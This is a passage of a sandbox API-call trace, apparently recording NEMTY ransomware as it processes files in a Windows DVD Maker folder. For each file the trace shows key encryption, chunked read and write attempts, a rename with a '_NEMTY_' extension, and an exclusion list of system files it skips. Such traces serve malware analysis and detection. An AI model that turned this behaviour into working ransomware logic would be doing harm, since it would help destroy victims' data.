(in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0062.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0062.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0062.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0062.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0062.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0062.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0062.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0062.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0062.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0062.996] Sleep (dwMilliseconds=0x5) [0063.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd9339650, dwHighDateTime=0x1d561e7)) [0063.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd9339650, dwHighDateTime=0x1d561e7)) [0063.006] GetLastError () returned 0x5 [0063.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.007] GetLastError () returned 0x5 [0063.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.007] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0063.007] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0063.007] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0063.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0063.007] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="C9PzsxYXzyNxN3o+Kn4ZBvBNfFteOq5nmzC7mnUt/1X08corgjGo65akM/vOuR+/\r\nEm2WmhGAbnLnjgjbzpxwqZtcSi221abX+oDeBEJzyJlFgseLEa2JuIhbHbPhGBOd\r\nYlKlk5jMQqytVuVLsreRAJ4jLSrJCpuHTsNjwSRjmXSoNJVm6TKiPDHi9epSvudl\r\noEgCRnEvcPrZYRmToYlcO+cbcMerH/TfOFxaGL8hTsiyA4ELBvdT3CMhFmhoP9Wl\r\n22A8rmvOmTzDZMqQZPVzBM9HijL3KkqiZlC8vFlv9qQfl14VMWeRhgwWM70VUVtb\r\nNiFtJxRLZ779WrWRHusXxA==\r\n", pcchString=0x653e91c) returned 1 [0063.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0063.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0063.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0063.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0063.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0063.007] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0063.008] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0063.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0063.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.066] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0063.116] CloseHandle (hObject=0xffffffff) returned 0 [0063.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0063.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0063.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0063.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0063.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0063.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0063.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0063.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0063.116] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0063.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0063.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0063.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0063.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0063.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0063.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0063.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0063.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0063.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.117] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0063.117] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0063.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0063.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0063.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0063.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0063.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0063.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0063.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0063.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0063.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0063.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 